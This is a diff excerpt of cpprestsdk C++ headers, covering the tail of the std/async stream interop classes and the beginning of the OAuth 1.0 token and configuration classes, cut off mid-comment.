size_t _sgetn(_Out_writes_(size) _CharType* ptr, _In_ size_t size) const { return m_buffer->sgetn(ptr, size); }
|
||||||
|
virtual size_t _scopy(_Out_writes_(size) _CharType*, _In_ size_t size)
|
||||||
|
{
|
||||||
|
(void)(size);
|
||||||
|
return (size_t)-1;
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<size_t> _getn(_Out_writes_(size) _CharType* ptr, _In_ size_t size)
|
||||||
|
{
|
||||||
|
return pplx::task_from_result((size_t)m_buffer->sgetn(ptr, size));
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual int_type _sbumpc() { return m_buffer->sbumpc(); }
|
||||||
|
virtual int_type _sgetc() { return m_buffer->sgetc(); }
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _bumpc() { return pplx::task_from_result<int_type>(m_buffer->sbumpc()); }
|
||||||
|
virtual pplx::task<int_type> _getc() { return pplx::task_from_result<int_type>(m_buffer->sgetc()); }
|
||||||
|
virtual pplx::task<int_type> _nextc() { return pplx::task_from_result<int_type>(m_buffer->snextc()); }
|
||||||
|
virtual pplx::task<int_type> _ungetc() { return pplx::task_from_result<int_type>(m_buffer->sungetc()); }
|
||||||
|
|
||||||
|
virtual pos_type getpos(std::ios_base::openmode mode) const
|
||||||
|
{
|
||||||
|
return m_buffer->pubseekoff(0, std::ios_base::cur, mode);
|
||||||
|
}
|
||||||
|
virtual pos_type seekpos(pos_type pos, std::ios_base::openmode mode) { return m_buffer->pubseekpos(pos, mode); }
|
||||||
|
virtual pos_type seekoff(off_type off, std::ios_base::seekdir dir, std::ios_base::openmode mode)
|
||||||
|
{
|
||||||
|
return m_buffer->pubseekoff(off, dir, mode);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual _CharType* _alloc(size_t) { return nullptr; }
|
||||||
|
virtual void _commit(size_t) {}
|
||||||
|
|
||||||
|
virtual bool acquire(_CharType*&, size_t&) { return false; }
|
||||||
|
virtual void release(_CharType*, size_t) {}
|
||||||
|
|
||||||
|
template<typename CharType>
|
||||||
|
friend class concurrency::streams::stdio_ostream;
|
||||||
|
template<typename CharType>
|
||||||
|
friend class concurrency::streams::stdio_istream;
|
||||||
|
|
||||||
|
std::basic_streambuf<_CharType>* m_buffer;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// stdio_ostream represents an async ostream derived from a standard synchronous stream, as
|
||||||
|
/// defined by the "std" namespace. It is constructed from a reference to a standard stream, which
|
||||||
|
/// must be valid for the lifetime of the asynchronous stream.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="CharType">
|
||||||
|
/// The data type of the basic element of the <c>stdio_ostream</c>.
|
||||||
|
/// </typeparam>
|
||||||
|
/// <remarks>
|
||||||
|
/// Since std streams are not reference-counted, great care must be taken by an application to make
|
||||||
|
/// sure that the std stream does not get destroyed until all uses of the asynchronous stream are
|
||||||
|
/// done and have been serviced.
|
||||||
|
/// </remarks>
|
||||||
|
template<typename CharType>
|
||||||
|
class stdio_ostream : public basic_ostream<CharType>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Constructor
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="AlterCharType">
|
||||||
|
/// The data type of the basic element of the source output stream.
|
||||||
|
/// </typeparam>
|
||||||
|
/// <param name="stream">The synchronous stream that this is using for its I/O</param>
|
||||||
|
template<typename AlterCharType>
|
||||||
|
stdio_ostream(std::basic_ostream<AlterCharType>& stream)
|
||||||
|
: basic_ostream<CharType>(
|
||||||
|
streams::streambuf<AlterCharType>(std::shared_ptr<details::basic_stdio_buffer<AlterCharType>>(
|
||||||
|
new details::basic_stdio_buffer<AlterCharType>(stream.rdbuf(), std::ios_base::out))))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Copy constructor
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="other">The source object</param>
|
||||||
|
stdio_ostream(const stdio_ostream& other) : basic_ostream<CharType>(other) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Assignment operator
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="other">The source object</param>
|
||||||
|
/// <returns>A reference to the output stream object that contains the result of the assignment.</returns>
|
||||||
|
stdio_ostream& operator=(const stdio_ostream& other)
|
||||||
|
{
|
||||||
|
basic_ostream<CharType>::operator=(other);
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// stdio_istream represents an async istream derived from a standard synchronous stream, as
|
||||||
|
/// defined by the "std" namespace. It is constructed from a reference to a standard stream, which
|
||||||
|
/// must be valid for the lifetime of the asynchronous stream.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="CharType">
|
||||||
|
/// The data type of the basic element of the <c>stdio_istream</c>.
|
||||||
|
/// </typeparam>
|
||||||
|
/// <remarks>
|
||||||
|
/// Since std streams are not reference-counted, great care must be taken by an application to make
|
||||||
|
/// sure that the std stream does not get destroyed until all uses of the asynchronous stream are
|
||||||
|
/// done and have been serviced.
|
||||||
|
/// </remarks>
|
||||||
|
template<typename CharType>
|
||||||
|
class stdio_istream : public basic_istream<CharType>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Constructor
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="AlterCharType">
|
||||||
|
/// The data type of the basic element of the source <c>istream</c>
|
||||||
|
/// </typeparam>
|
||||||
|
/// <param name="stream">The synchronous stream that this is using for its I/O</param>
|
||||||
|
template<typename AlterCharType>
|
||||||
|
stdio_istream(std::basic_istream<AlterCharType>& stream)
|
||||||
|
: basic_istream<CharType>(
|
||||||
|
streams::streambuf<AlterCharType>(std::shared_ptr<details::basic_stdio_buffer<AlterCharType>>(
|
||||||
|
new details::basic_stdio_buffer<AlterCharType>(stream.rdbuf(), std::ios_base::in))))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Copy constructor
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="other">The source object</param>
|
||||||
|
stdio_istream(const stdio_istream& other) : basic_istream<CharType>(other) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Assignment operator
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="other">The source object</param>
|
||||||
|
/// <returns>A reference to the input stream object that contains the result of the assignment.</returns>
|
||||||
|
stdio_istream& operator=(const stdio_istream& other)
|
||||||
|
{
|
||||||
|
basic_istream<CharType>::operator=(other);
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// IO streams stream buffer implementation used to interface with an async streambuffer underneath.
|
||||||
|
/// Used for implementing the standard synchronous streams that provide interop between std:: and concurrency::streams::
|
||||||
|
/// </summary>
|
||||||
|
template<typename CharType>
|
||||||
|
class basic_async_streambuf : public std::basic_streambuf<CharType>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
typedef concurrency::streams::char_traits<CharType> traits;
|
||||||
|
typedef typename traits::int_type int_type;
|
||||||
|
typedef typename traits::pos_type pos_type;
|
||||||
|
typedef typename traits::off_type off_type;
|
||||||
|
|
||||||
|
basic_async_streambuf(const streams::streambuf<CharType>& async_buf) : m_buffer(async_buf) {}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
//
|
||||||
|
// The following are the functions in std::basic_streambuf that we need to override.
|
||||||
|
//
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Writes one byte to the stream buffer.
|
||||||
|
/// </summary>
|
||||||
|
int_type overflow(int_type ch)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
return m_buffer.putc(CharType(ch)).get();
|
||||||
|
}
|
||||||
|
catch (...)
|
||||||
|
{
|
||||||
|
return traits::eof();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets one byte from the stream buffer without moving the read position.
|
||||||
|
/// </summary>
|
||||||
|
int_type underflow()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
return m_buffer.getc().get();
|
||||||
|
}
|
||||||
|
catch (...)
|
||||||
|
{
|
||||||
|
return traits::eof();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets one byte from the stream buffer and move the read position one character.
|
||||||
|
/// </summary>
|
||||||
|
int_type uflow()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
return m_buffer.bumpc().get();
|
||||||
|
}
|
||||||
|
catch (...)
|
||||||
|
{
|
||||||
|
return traits::eof();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets a number of characters from the buffer and place it into the provided memory block.
|
||||||
|
/// </summary>
|
||||||
|
std::streamsize xsgetn(_Out_writes_(count) CharType* ptr, _In_ std::streamsize count)
|
||||||
|
{
|
||||||
|
size_t cnt = size_t(count);
|
||||||
|
size_t read_so_far = 0;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
while (read_so_far < cnt)
|
||||||
|
{
|
||||||
|
size_t rd = m_buffer.getn(ptr + read_so_far, cnt - read_so_far).get();
|
||||||
|
read_so_far += rd;
|
||||||
|
if (rd == 0) break;
|
||||||
|
}
|
||||||
|
return read_so_far;
|
||||||
|
}
|
||||||
|
catch (...)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Writes a given number of characters from the provided block into the stream buffer.
|
||||||
|
/// </summary>
|
||||||
|
std::streamsize xsputn(const CharType* ptr, std::streamsize count)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
return m_buffer.putn_nocopy(ptr, static_cast<size_t>(count)).get();
|
||||||
|
}
|
||||||
|
catch (...)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Synchronizes with the underlying medium.
|
||||||
|
/// </summary>
|
||||||
|
int sync() // must be int as per std::basic_streambuf
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
m_buffer.sync().wait();
|
||||||
|
}
|
||||||
|
catch (...)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Seeks to the given offset relative to the beginning, end, or current position.
|
||||||
|
/// </summary>
|
||||||
|
pos_type seekoff(off_type offset,
|
||||||
|
std::ios_base::seekdir dir,
|
||||||
|
std::ios_base::openmode mode = std::ios_base::in | std::ios_base::out)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (dir == std::ios_base::cur && offset == 0) // Special case for getting the current position.
|
||||||
|
return m_buffer.getpos(mode);
|
||||||
|
return m_buffer.seekoff(offset, dir, mode);
|
||||||
|
}
|
||||||
|
catch (...)
|
||||||
|
{
|
||||||
|
return (pos_type(-1));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Seeks to the given offset relative to the beginning of the stream.
|
||||||
|
/// </summary>
|
||||||
|
pos_type seekpos(pos_type pos, std::ios_base::openmode mode = std::ios_base::in | std::ios_base::out)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
return m_buffer.seekpos(pos, mode);
|
||||||
|
}
|
||||||
|
catch (...)
|
||||||
|
{
|
||||||
|
return (pos_type(-1));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
concurrency::streams::streambuf<CharType> m_buffer;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A concrete STL ostream which relies on an asynchronous stream for its I/O.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="CharType">
|
||||||
|
/// The data type of the basic element of the stream.
|
||||||
|
/// </typeparam>
|
||||||
|
template<typename CharType>
|
||||||
|
class async_ostream : public std::basic_ostream<CharType>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Constructor
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="AlterCharType">
|
||||||
|
/// The data type of the basic element of the source ostream.
|
||||||
|
/// </typeparam>
|
||||||
|
/// <param name="astream">The asynchronous stream whose stream buffer should be used for I/O</param>
|
||||||
|
template<typename AlterCharType>
|
||||||
|
async_ostream(const streams::basic_ostream<AlterCharType>& astream)
|
||||||
|
: std::basic_ostream<CharType>(&m_strbuf), m_strbuf(astream.streambuf())
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructor
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="AlterCharType">
|
||||||
|
/// The data type of the basic element of the source <c>streambuf</c>.
|
||||||
|
/// </typeparam>
|
||||||
|
/// <param name="strbuf">The asynchronous stream buffer to use for I/O</param>
|
||||||
|
template<typename AlterCharType>
|
||||||
|
async_ostream(const streams::streambuf<AlterCharType>& strbuf)
|
||||||
|
: std::basic_ostream<CharType>(&m_strbuf), m_strbuf(strbuf)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
details::basic_async_streambuf<CharType> m_strbuf;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A concrete STL istream which relies on an asynchronous stream for its I/O.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="CharType">
|
||||||
|
/// The data type of the basic element of the stream.
|
||||||
|
/// </typeparam>
|
||||||
|
template<typename CharType>
|
||||||
|
class async_istream : public std::basic_istream<CharType>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Constructor
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="AlterCharType">
|
||||||
|
/// The data type of the basic element of the source istream.
|
||||||
|
/// </typeparam>
|
||||||
|
/// <param name="astream">The asynchronous stream whose stream buffer should be used for I/O</param>
|
||||||
|
template<typename AlterCharType>
|
||||||
|
async_istream(const streams::basic_istream<AlterCharType>& astream)
|
||||||
|
: std::basic_istream<CharType>(&m_strbuf), m_strbuf(astream.streambuf())
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructor
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="AlterCharType">
|
||||||
|
/// The data type of the basic element of the source <c>streambuf</c>.
|
||||||
|
/// </typeparam>
|
||||||
|
/// <param name="strbuf">The asynchronous stream buffer to use for I/O</param>
|
||||||
|
template<typename AlterCharType>
|
||||||
|
async_istream(const streams::streambuf<AlterCharType>& strbuf)
|
||||||
|
: std::basic_istream<CharType>(&m_strbuf), m_strbuf(strbuf)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
details::basic_async_streambuf<CharType> m_strbuf;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A concrete STL istream which relies on an asynchronous stream buffer for its I/O.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="CharType">
|
||||||
|
/// The data type of the basic element of the stream.
|
||||||
|
/// </typeparam>
|
||||||
|
template<typename CharType>
|
||||||
|
class async_iostream : public std::basic_iostream<CharType>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Constructor
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="strbuf">The asynchronous stream buffer to use for I/O</param>
|
||||||
|
async_iostream(const streams::streambuf<CharType>& strbuf)
|
||||||
|
: std::basic_iostream<CharType>(&m_strbuf), m_strbuf(strbuf)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
details::basic_async_streambuf<CharType> m_strbuf;
|
||||||
|
};
|
||||||
|
|
||||||
|
#if defined(__cplusplus_winrt)
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Static class containing factory functions for WinRT streams implemented on top of Casablanca async streams.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>WinRT streams are defined in terms of single-byte characters only.</remarks>
|
||||||
|
class winrt_stream
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a WinRT <c>IInputStream</c> reference from an asynchronous stream buffer.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="buffer">A stream buffer based on a single-byte character.</param>
|
||||||
|
/// <returns>A reference to a WinRT <c>IInputStream</c>.</returns>
|
||||||
|
/// <remarks>
|
||||||
|
/// The stream buffer passed in must allow reading.
|
||||||
|
/// The stream buffer is shared with the caller, allowing data to be passed between the two contexts. For
|
||||||
|
/// example, using a <c>producer_consumer_buffer</c>, a Casablanca-based caller can pass data to a WinRT component.
|
||||||
|
/// </remarks>
|
||||||
|
_ASYNCRTIMP static Windows::Storage::Streams::IInputStream ^
|
||||||
|
__cdecl create_input_stream(const concurrency::streams::streambuf<uint8_t>& buffer);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a WinRT <c>IOutputStream</c> reference from an asynchronous stream buffer.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="buffer">A stream buffer based on a single-byte character.</param>
|
||||||
|
/// <returns>A reference to a WinRT <c>IOutputStream</c>.</returns>
|
||||||
|
/// <remarks>
|
||||||
|
/// The stream buffer passed in must allow writing.
|
||||||
|
/// The stream buffer is shared with the caller, allowing data to be passed between the two contexts. For
|
||||||
|
/// example, using a <c>producer_consumer_buffer</c>, a Casablanca-based caller can retrieve data from a WinRT
|
||||||
|
/// component.
|
||||||
|
/// </remarks>
|
||||||
|
_ASYNCRTIMP static Windows::Storage::Streams::IOutputStream ^
|
||||||
|
__cdecl create_output_stream(const concurrency::streams::streambuf<uint8_t>& buffer);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a WinRT <c>IRandomAccessStream reference from an asynchronous input stream.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="buffer">A stream based on a single-byte character.</param>
|
||||||
|
/// <returns>A reference to a WinRT <c>IRandomAccessStream</c>.</returns>
|
||||||
|
/// <remarks>
|
||||||
|
/// The stream buffer is shared with the caller, allowing data to be passed between the two contexts. For
|
||||||
|
/// example, using a <c>producer_consumer_buffer</c>, a Casablanca-based caller can pass data to and retrieve data
|
||||||
|
/// from a WinRT component.
|
||||||
|
/// </remarks>
|
||||||
|
_ASYNCRTIMP static Windows::Storage::Streams::IRandomAccessStream ^
|
||||||
|
__cdecl create_random_access_stream(const concurrency::streams::streambuf<uint8_t>& buffer);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
} // namespace streams
|
||||||
|
} // namespace Concurrency
|
||||||
|
|
||||||
|
#if defined(_WIN32)
|
||||||
|
#pragma warning(pop)
|
||||||
|
#endif
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,576 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* HTTP Library: Oauth 1.0
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef CASA_OAUTH1_H
|
||||||
|
#define CASA_OAUTH1_H
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/web_utilities.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/http_msg.h"
|
||||||
|
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
namespace http
|
||||||
|
{
|
||||||
|
namespace client
|
||||||
|
{
|
||||||
|
// Forward declaration to avoid circular include dependency.
|
||||||
|
class http_client_config;
|
||||||
|
} // namespace client
|
||||||
|
|
||||||
|
/// oAuth 1.0 library.
|
||||||
|
namespace oauth1
|
||||||
|
{
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
class oauth1_handler;
|
||||||
|
|
||||||
|
// State currently used by oauth1_config to authenticate request.
|
||||||
|
// The state varies for every request (due to timestamp and nonce).
|
||||||
|
// The state also contains extra transmitted protocol parameters during
|
||||||
|
// authorization flow (i.e. 'oauth_callback' or 'oauth_verifier').
|
||||||
|
class oauth1_state
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
oauth1_state(utility::string_t timestamp,
|
||||||
|
utility::string_t nonce,
|
||||||
|
utility::string_t extra_key = utility::string_t(),
|
||||||
|
utility::string_t extra_value = utility::string_t())
|
||||||
|
: m_timestamp(std::move(timestamp))
|
||||||
|
, m_nonce(std::move(nonce))
|
||||||
|
, m_extra_key(std::move(extra_key))
|
||||||
|
, m_extra_value(std::move(extra_value))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
const utility::string_t& timestamp() const { return m_timestamp; }
|
||||||
|
void set_timestamp(utility::string_t timestamp) { m_timestamp = std::move(timestamp); }
|
||||||
|
|
||||||
|
const utility::string_t& nonce() const { return m_nonce; }
|
||||||
|
void set_nonce(utility::string_t nonce) { m_nonce = std::move(nonce); }
|
||||||
|
|
||||||
|
const utility::string_t& extra_key() const { return m_extra_key; }
|
||||||
|
void set_extra_key(utility::string_t key) { m_extra_key = std::move(key); }
|
||||||
|
|
||||||
|
const utility::string_t& extra_value() const { return m_extra_value; }
|
||||||
|
void set_extra_value(utility::string_t value) { m_extra_value = std::move(value); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
utility::string_t m_timestamp;
|
||||||
|
utility::string_t m_nonce;
|
||||||
|
utility::string_t m_extra_key;
|
||||||
|
utility::string_t m_extra_value;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Constant strings for OAuth 1.0.
|
||||||
|
typedef utility::string_t oauth1_string;
|
||||||
|
class oauth1_strings
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
#define _OAUTH1_STRINGS
|
||||||
|
#define DAT(a_, b_) _ASYNCRTIMP static const oauth1_string a_;
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/http_constants.dat"
|
||||||
|
#undef _OAUTH1_STRINGS
|
||||||
|
#undef DAT
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// oAuth functionality is currently in beta.
|
||||||
|
namespace experimental
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Constant strings for OAuth 1.0 signature methods.
|
||||||
|
/// </summary>
|
||||||
|
typedef utility::string_t oauth1_method;
|
||||||
|
class oauth1_methods
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
#define _OAUTH1_METHODS
|
||||||
|
#define DAT(a, b) _ASYNCRTIMP static const oauth1_method a;
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/http_constants.dat"
|
||||||
|
#undef _OAUTH1_METHODS
|
||||||
|
#undef DAT
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Exception type for OAuth 1.0 errors.
|
||||||
|
/// </summary>
|
||||||
|
class oauth1_exception : public std::exception
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
oauth1_exception(utility::string_t msg) : m_msg(utility::conversions::to_utf8string(std::move(msg))) {}
|
||||||
|
~oauth1_exception() CPPREST_NOEXCEPT {}
|
||||||
|
const char* what() const CPPREST_NOEXCEPT { return m_msg.c_str(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::string m_msg;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// OAuth 1.0 token and associated information.
|
||||||
|
/// </summary>
|
||||||
|
class oauth1_token
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Constructs an initially empty invalid access token.
|
||||||
|
/// </summary>
|
||||||
|
oauth1_token() {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructs a OAuth1 token from a given access token and secret.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="access_token">Access token string.</param>
|
||||||
|
/// <param name="secret">Token secret string.</param>
|
||||||
|
oauth1_token(utility::string_t access_token, utility::string_t secret)
|
||||||
|
: m_token(std::move(access_token)), m_secret(std::move(secret))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get access token validity state.
|
||||||
|
/// If true, token is a valid access token.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Access token validity state of the token.</returns>
|
||||||
|
bool is_valid_access_token() const { return !(access_token().empty() || secret().empty()); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get access token.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The access token string.</returns>
|
||||||
|
const utility::string_t& access_token() const { return m_token; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set access token.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="access_token">Access token string to set.</param>
|
||||||
|
void set_access_token(utility::string_t&& access_token) { m_token = std::move(access_token); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set access token.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="access_token">Access token string to set.</param>
|
||||||
|
void set_access_token(const utility::string_t& access_token) { m_token = access_token; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get token secret.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Token secret string.</returns>
|
||||||
|
const utility::string_t& secret() const { return m_secret; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set token secret.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="secret">Token secret string to set.</param>
|
||||||
|
void set_secret(utility::string_t&& secret) { m_secret = std::move(secret); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set token secret.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="secret">Token secret string to set.</param>
|
||||||
|
void set_secret(const utility::string_t& secret) { m_secret = secret; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves any additional parameters.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A map containing the additional parameters.</returns>
|
||||||
|
const std::map<utility::string_t, utility::string_t>& additional_parameters() const
|
||||||
|
{
|
||||||
|
return m_additional_parameters;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets a specific parameter additional parameter.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="paramName">Parameter name.</param>
|
||||||
|
/// <param name="paramValue">Parameter value.</param>
|
||||||
|
void set_additional_parameter(utility::string_t&& paramName, utility::string_t&& paramValue)
|
||||||
|
{
|
||||||
|
m_additional_parameters[std::move(paramName)] = std::move(paramValue);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets a specific parameter additional parameter.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="paramName">Parameter name.</param>
|
||||||
|
/// <param name="paramValue">Parameter value.</param>
|
||||||
|
void set_additional_parameter(const utility::string_t& paramName, const utility::string_t& paramValue)
|
||||||
|
{
|
||||||
|
m_additional_parameters[paramName] = paramValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Clears all additional parameters.
|
||||||
|
/// </summary>
|
||||||
|
void clear_additional_parameters() { m_additional_parameters.clear(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
friend class oauth1_config;
|
||||||
|
|
||||||
|
utility::string_t m_token;
|
||||||
|
utility::string_t m_secret;
|
||||||
|
std::map<utility::string_t, utility::string_t> m_additional_parameters;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// OAuth 1.0 configuration class.
|
||||||
|
/// </summary>
|
||||||
|
class oauth1_config
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
oauth1_config(utility::string_t consumer_key,
|
||||||
|
utility::string_t consumer_secret,
|
||||||
|
utility::string_t temp_endpoint,
|
||||||
|
utility::string_t auth_endpoint,
|
||||||
|
utility::string_t token_endpoint,
|
||||||
|
utility::string_t callback_uri,
|
||||||
|
oauth1_method method,
|
||||||
|
utility::string_t realm = utility::string_t())
|
||||||
|
: m_consumer_key(std::move(consumer_key))
|
||||||
|
, m_consumer_secret(std::move(consumer_secret))
|
||||||
|
, m_temp_endpoint(std::move(temp_endpoint))
|
||||||
|
, m_auth_endpoint(std::move(auth_endpoint))
|
||||||
|
, m_token_endpoint(std::move(token_endpoint))
|
||||||
|
, m_callback_uri(std::move(callback_uri))
|
||||||
|
, m_realm(std::move(realm))
|
||||||
|
, m_method(std::move(method))
|
||||||
|
, m_is_authorization_completed(false)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Builds an authorization URI to be loaded in a web browser/view.
|
||||||
|
/// The URI is built with auth_endpoint() as basis.
|
||||||
|
/// The method creates a task for HTTP request to first obtain a
|
||||||
|
